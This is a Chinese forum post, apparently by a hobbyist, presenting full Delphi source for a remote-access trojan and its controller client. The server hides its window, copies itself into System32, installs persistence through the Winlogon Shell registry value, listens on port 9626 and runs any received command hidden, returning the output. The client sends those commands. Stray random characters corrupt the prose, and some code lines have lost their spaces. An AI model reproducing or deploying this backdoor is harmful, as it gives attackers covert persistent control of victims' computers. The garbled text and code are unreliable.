使用Delphi編個(gè)木馬玩
板塊禁止發(fā)布 “電子書(shū)資料” ，此類(lèi)主題請(qǐng)發(fā)布至
剛學(xué)電腦時(shí)很喜歡網(wǎng)絡(luò)安全，看著高手們寫(xiě)的一個(gè)又一個(gè)攻擊工具坝初，自己也總想努力去學(xué)好編程去寫(xiě)屬于自己的程序树埠。學(xué)DELPHI快一年了，感覺(jué)什么都沒(méi)學(xué)到橘茉，慚愧啊。今晚突然想學(xué)著寫(xiě)木馬姨丈，于是手忙腳亂的敲了點(diǎn)代碼畅卓，超簡(jiǎn)單，愿自己能越寫(xiě)越好ｓ瘛Ｋ杞椤！
程序跟傳統(tǒng)木馬一樣筋现，分服務(wù)端和客戶端唐础。運(yùn)行服務(wù)端后會(huì)復(fù)制自身到SYSTEM32目錄下面，并在注冊(cè)表添加一自動(dòng)行啟動(dòng)項(xiàng)矾飞，打開(kāi)本機(jī)9626端口開(kāi)始等待接收客戶端的數(shù)據(jù)一膨。當(dāng)接收到客戶端數(shù)據(jù)時(shí)就當(dāng)作CMD命令去執(zhí)行，最后把回顯傳送回客戶端洒沦”鳎客戶端很簡(jiǎn)單，跟服務(wù)端連接成功后申眼，輸入命令點(diǎn)執(zhí)行瞒津，正常的話可以收到服務(wù)端的執(zhí)行結(jié)果了。
源碼如下：
////Server.pas//////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///部分代碼從網(wǎng)上收集///////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;
type
TFmMain = class(TForm)
SS: TServerSocket;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
reg:TRegistry;
implementation
{$R *.dfm}
procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200;//運(yùn)行不顯示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then
reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //建立開(kāi)機(jī)啟動(dòng)項(xiàng)
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\Lysvr.exe') then
copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);
SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;
procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('連接成功'); //發(fā)現(xiàn)有連接時(shí)回傳‘連接成功 ’
end;
procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength:=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor:=nil;
lsa.bInheritHandle:=True;
ifCreatePipe(hReadPipe,hWritePipe,@lsa,0)=falsethen
begin
socket.SendText('不能創(chuàng)建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLESorSTARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////執(zhí)行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能創(chuàng)建進(jìn)程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true)do
begin
ifnotPeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil)thenbreak;
ifcchReadBuffer<>0then
begin
ifReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=falsethenbreak;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess,0)=WAIT_OBJECT_0)thenbreak;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph);//memo接收回顯
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text);///將回顯發(fā)送回客戶端
end;
end.
///////////////////////////////////////////////////////////////////////////////////////////
//////客戶端/////////////////////
unit UtMain;
///////////////////////////////////
//////////BY lanyus///////////////
////////Email:greathjw@163.com///
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;
type
TFmMain = class(TForm)
WebBrowser1: TWebBrowser;
Label3: TLabel;
Edit2: TEdit;
Label4: TLabel;
Edit3: TEdit;
Button2: TButton;
CS: TClientSocket;
Edit4: TEdit;
Label5: TLabel;
Memo1: TMemo;
BitBtn2: TBitBtn;
procedure Button2Click(Sender: TObject);
procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);
procedure BitBtn2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
implementation
{$R *.dfm}
procedure TFmMain.Button2Click(Sender: TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;
procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;
procedure TFmMain.BitBtn2Click(Sender: TObject);
begin
CS.Socket.SendText(edit4.Text);
end;
end.
